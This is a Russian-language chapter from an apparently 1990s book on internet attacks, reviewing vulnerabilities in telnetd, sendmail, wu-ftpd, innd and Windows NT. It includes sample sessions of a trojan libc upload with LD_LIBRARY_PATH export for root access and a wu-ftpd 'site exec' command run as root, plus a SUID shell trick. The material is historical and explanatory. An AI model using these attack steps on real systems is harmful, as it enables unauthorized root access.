Атака через Internet

Удаленные атаки на телекоммуникационные службы

8.6. Современная ситуация

В этом пункте мы наконец перейдем к рассмотрению ситуации с безопасностью UNIX в наши дни. Забегая вперед, сразу скажем, что принципиально ничего не изменилось. Возможно, ошибок в старых версиях UNIX стало меньше, зато появились и появляются новые версии UNIX и, что более важно, другие операционные системы выходят на рынок интернета. Возможно, пользователи стали уделять больше внимания своим паролям, но вычислительная мощность персональных компьютеров удваивается чуть ли не каждый год и программы-вскрыватели становятся все более изощренными. Видимо также, что сегодня хакер уже не будет искать какую-нибудь уязвимость в демонах типа telnetd или ftpd, он возьмет любой из малоизученных - типа httpd.

Далее мы, в большинстве случаев не станем приводить конкретные примеры (exploit) их использования по вполне понятным причинам (тем более что, к счастью, далеко не все уязвимости оглашались после того, как были замечены атаки, их использующие - иногда анализ исходного кода позволяет найти ошибку раньше, чем она начнет "работать" ).

8.6.1. Ошибка в демоне telnetd

Эта уязвимость, основанная на недоработке в демоне, отвечающем за протокол telnet, на наш взгляд, является одной из самых красивых и стала уже почти такой же хрестоматийной, как команда debug в sendmail. Хосты, подверженные этой уязвимости, должны иметь анонимный ftp-сервис с разрешением на запись в один из своих каталогов (типа ~ftp/incoming).

Основная идея проникновения такова: злоумышленник подменяет стандартную библиотеку libc своей, имеющей "троянского коня": при вызове некоторых функций она запускает командную оболочку. Затем он помещает ее на атакуемую машину, используя анонимный ftp-сервис. Основная его задача - сделать так, чтобы она воспринималась на атакуемой машине как настоящая. Для этого он подменяет специальные переменные окружения, которые теперь будут указывать на "троянскую" библиотеку. Наконец, те telnet-демоны, которые поддерживают опцию передачи переменных окружения (RFC 1408 или RFC 1572), смогут передать их на удаленную машину. После этого злоумышленнику остается только попытаться войти по telnet'у на атакованную машину. При отработке функции login() будет вызвана одна из "троянских" функций, и злоумышленник получит привилегии суперпользователя. Таким образом, это типичная атака по сценарию 1, но для ее подготовки нужен предварительный вход на машину через анонимный ftp (естественно, возможны любые другие комбинации, позволяющие записать файл в любой каталог удаленной машины). Указанная атака выглядит примерно так:


evil:~# ftp victim.com
Connected to victim.com
220 Victim FTP server (Version wu-2.4(4) Sat Mar 24 14:37:08 EDT 1996) ready.
Name (evil:root): anonymous
331 Guest login ok, send your complete e-mail address as password.
Password: *****
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd incoming
250 CWD command successful.
ftp> send libc.so.4
200 PORT command successful.
150 Opening BINARY mode data connection for libc.so.4.
226 Transfer complete.
ftp> bye
221 Goodbye.
evil:~# telnet
telnet> env define LD_LIBRARY_PATH /home/ftp/incoming
telnet> env export LD_LIBRARY_PATH
telnet> open victim.com
Trying 351.227.61.23...
Connected to victim.com.
Escape character is '^]'.
Linux 1.2.13 (victim.com) (ttyp0)
Victim login: hacker
Password:
bash# cd /root

8.6.2. Снова sendmail

Здесь мы приведем две уязвимости в программе sendmail (самых последних версий) [20, 21], одна из которых позволяет локальному пользователю стать суперпользователем и относится, таким образом, к сценарию 3. Вторая уязвимость очень серьезна и в некотором роде уникальна: мало того, что она воздействует на sendmail до самой последней версии 8.8, ее использование позволит хакеру выполнить любую команду от имени суперпользователя на вашей машине несмотря на все системы защиты, включая файрволы (firewall). Поэтому она является примером возможности осуществить атаки класса 1 и в наши дни.

Как очевидно, одна из основных функций
sendmail - это SMTP-демон, отвечающий на входящие письма. Только суперпользователь может запустить ее в таком режиме, и это проверяется специальной процедурой самой sendmail. Однако из-за ошибки в кодировании sendmail может быть запущена в режиме демона так, что эта проверка будет пропущена, и, таким образом, любой пользователь может это сделать. Более того, начиная с версии 8.7, sendmail перезапустит сам себя, если получит сигнал SIGHUP с помощью системного вызова exec(2), после чего она уже будет исполняться с привилегиями суперпользователя. В этот момент, с помощью манипуляций с переменными sendmail, злоумышленник может заставить ее выполнить любую команду, естественно, с привилегиями суперпользователя. Как стандартный вариант, используется копирование оболочки /bin/sh в /tmp/sh и установкой на него SUID root.

Вторая уязвимость, как уже говорилось, присутствует всегда при наличии sendmail версий до 8.8.4 включительно в своей конфигурации по умолчанию, независимо от присутствия других сервисов и средств защиты типа файрвол. Раз sendmail работает на вашем компьютере, значит, он отправляет и принимает электронную почту. Как оказывается, ничего другого в данном случае кракеру не надо: как в старые добрые времена, "бомба" к вам может попасть в обычном письме стандартного формата, которое, естественно, без всяких подозрений будет пропущено любым файрволом или другим фильтром. Это письмо, однако, будет иметь более чем специфическое содержание в MIME-кодировке, при обработке которого у sendmail банально переполнится буфер, данные попадут в стек и смогут быть интерпретированы как код. Естественно, он выполнится от имени суперпользователя.

Эта ошибочная функция вызывается, кстати, только в том случае, если в конфигурации sendmail стоит недокументированный флаг "-9" .

Какие можно сделать выводы из этого примечательной ситуации? Во-первых, видимо, это один из случаев, когда ошибка в исходном коде была найдена раньше хакерами, а не кракерами. Во-вторых, с другой стороны, как обычно, пройдет много времени, прежде чем все уязвимые версии sendmail будут заменены на новые, а кракеры между тем , уже зная конкретно об этой ошибке, смогут ее максимально использовать. Более того, своей масштабностью она прямо может подтолкнуть их к написанию нового глобального червя. В-третьих, это еще раз доказывает, что любые программы в процессе своего совершенствования могут приобретать новые ошибки, в том числе и такие катастрофичные. В-четвертых, не может не удивлять позиция автора sendmail, который, несмотря на репутацию автора программы, насчитывающей такое же количество ошибок в плане безопасности, что все другие UNIX-программы, вместе взятые" , продолжает свою традицию оставлять недокументированные команды или ключи. Вообще, мы бы не рекомендовали ставить программу sendmail на любой хост, который более или менее критичен к угрозам извне, т. к. ошибки в ней продолжают находиться с пугающей регулярностью.

8.6.3. Уязвимости в wu-ftpd

FTP-демон wu-ftpd, написанный в вашингтонском университете, является значительным расширением стандартного ftpd. Как обычно, это приводит и к расширению, содержащимся в нем ошибок.

Самой известной из них является ошибка, позволяющая всего-навсего выполнить любую команду от имени суперпользователя, причем для удобства кракера в wu-ftp для этого есть специальная команда, которая так и называется "site exec" (выполнить на сайте) [26]. Эта атака интересна тем, что не подходит ни под один из сценариев: в принципе, она проходит аналогично типовым атакам по сценарию 1 или 2, взаимодействуя с удаленным демоном, но для ее успешности необходимы полномочия обычного пользователя:


evil#ftp victim.com
220 victim FTP server (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994) ready.
Name (victim:root): good
331 Password required for good.
Password: *****
230 User good logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> quote "site exec bash -c id"
200-bash -c id
200-uid=0(root) gid=0(root) euid=505(statik) egid=100(users) groups=100(users)
200 (end of 'bash -c id')

Видно, что в последней строчке на удаленном хосте выполнилась команда id от имени суперпользователя - это означает, что хост уязвим.

Другая уязвимость, которой подвержены версии
wu-ftpd, вплоть до самых последних, состоит в том, что при определенных условиях можно переполнить список аргументов команды, что приведет к сбросу демоном аварийного дампа памяти. Для этого нужны минимальные полномочия анонимного пользователя ftp. Что самое интересное, этот дамп будет иметь владельцем не root, как обычно бывает, а anonymous и будет сбрасываться в его домашний каталог. Отсюда прямо следует, что он может быть позже прочитан удаленно. Ну, а чтение аварийного дампа равносильно копанию в корзине для бумаг на секретном объекте - среди мусора могут быть найдены очень любопытные вещи, например, сброшенные кэшированные пароли. Так что злоумышленнику останется только запустить взломщик паролей поновее.

8.6.4. Последние новости: проникновение
с помощью innd

Как иллюстрацию того пути, по которому идут кракеры сегодня, рассмотрим самый популярный способ проникновения в UNIX-хосты начала 1997 года.

Итак, в качестве лазейки была выбрана серверная программа, отвечающая за передачу новостей USENET по протоколу NNTP, называемая InterNet News (Inn). Такой выбор для кракеров очень удачен: во-первых, эта программа "не запятнала" себя ранее (это как раз пример новаторского подхода), во-вторых, как и любой демон, она потенциально допускает проникновение по классу 1; в-третьих, сервис передачи новостей выходит на одно из первых мест в интернете, поэтому эта программа достаточно распространена и существует практически на всех платформах; наконец, уязвимости, если они найдутся в ней, не могут быть сведены на нет файрволом. Поясним последнее подробнее. Если вы у себя на машине ставите сервер, который должен отвечать за прием - передачу новостей по протоколу NNTP, то, естественно, вы должны разрешить этот протокол в своем файрволе. Но кракер, с другой стороны, также будет работать на уровне NNTP. Иначе говоря, как и в приведенной выше уязвимости в sendmail, нет возможности для файрвола отличить пакеты, содержащие "хорошие" новости, от "плохих" , которые посылает кракер - файрвол может только вообще или запретить конкретный трафик, или разрешить его.

Именно такого рода уязвимость была найдена в программе innd [22]. Среди обычных сообщений USENET встречаются так называемые управляющие, типа "newgroup" или "rmgroup" . Innd обрабатывает команды, расположенные в них, через команду оболочки "eval" . Однако некоторая информация (иначе говоря, специальным образом разработанное фальшивое управляющее сообщение) может быть передана оболочке без надлежащего контроля. Это позволит любому, кто может присылать сообщения на ваш NNTP-сервер - иногда это чуть ли ни любой пользователь USENET - исполнить любую команду, имея привилегии демона innd, - а это либо суперпользователь, либо специальный пользователь news с широкими правами. Все версии Inn, вплоть до 1.5 включительно, оказались уязвимыми.

8.6.5. Удаленное получение имени и пароля пользователя в Windows NT

В этом пункте, чтобы не быть голословными, мы рассмотрим одну примечательную атаку в интернете не на UNIX-систему. Примечательна она тем, что подтверждает предположение, что при выходе на рынок интернет новых операционных систем их ждет тот же тернистый путь в плане обеспечения безопасности, который UNIX уже частично прошла.

Этой атаке подвержена и самая современная версия ОС Windows NT 4.0 в сочетании опять-таки с последними версиями броузеров (browser) интернета Microsoft Internet Explorer 3.0x-4.0b или Netscape Navigator 3.x-4.0b2. Вот список уязвимых систем:

  • Windows 97 Beta (memphis),
  • Windows NT 3.51 Workstation (видимо, и Server, но это не упоминается в оригинале),
  • Windows NT 4.0 Server вплоть до Service Pack 2,
  • Windows NT 4.0 Workstation вплоть до Service
    Pack 2,
  • Windows 95, включая Service Pack 1 и OSR2.

Для реализации этой атаки злоумышленником создается специальная HTML-страница "капкан" , которая, помимо всего прочего, содержит ссылку следующего вида: file://\\server\share\image.gif. Это ссылка на ресурсы в формате CIFS (Common Internet File System), находящиеся на другом хосте. CIFS -интернет-версия протокола SMB (Server Message Block), который используется Microsoft для разделения ресурсов в своих локальных сетях. Естественно, злоумышленнику нет никакой надобности использовать второй хост, он может сделать ссылку на себя.

Для того, чтобы пользователь смог обратиться к этим ресурсам (в нашем случае - скачать картинки), он должен зарегистрироваться на предложенном ему SMB-сервере (типа Lanman). Windows NT позволяет сделать это, даже не спрашивая пользователя о подтверждении: она просто передает имя и хэшированный пароль пользователя на сервер Lanman! Ну, а этот сервер, т. к. мы предполагаем, что он кракерский, запоминает имя и пароль пользователя для дальнейших криптоатак, самой успешной из которых, как обычно, будет по словарю.

Таким образом, то, о чем так давно не могли уже мечтать UNIX-хакеры, свершилось! Можно удаленно стянуть имя и зашифрованный пароль пользователя, за исключением того, правда, что эта атака пассивна - незадачливый "клиент" сам заходит на враждебный сайт, а не наоборот. Заметим, кстати, что скорость перебора NT-паролей достигает 2500 паролей/сек на современном Pentium. Но поскольку схема хэширования в NT несколько упрощена тем, что отсутствует понятие salt (см. п. 8.5.1), можно поднять ее на несколько порядков, если предварительно схэшировать весь файл паролей, а затем сравнивать результат с захваченным значением.

Представитель Microsoft Mike Nash, отвечающий за маркетинг Windows NT, узнав об этой уязвимости, заявил: "Хорошо, что люди тестируют наши продукты, и лучшее, что мы можем сделать - повысить осведомленность наших покупателей в вопросах безопасности" [15]. Что ж, позиция Microsoft в отношении безопасности своих продуктов, мягко говоря, всегда оставляла желать лучшего.

RLE Banner Network
<<< ^^^ >>>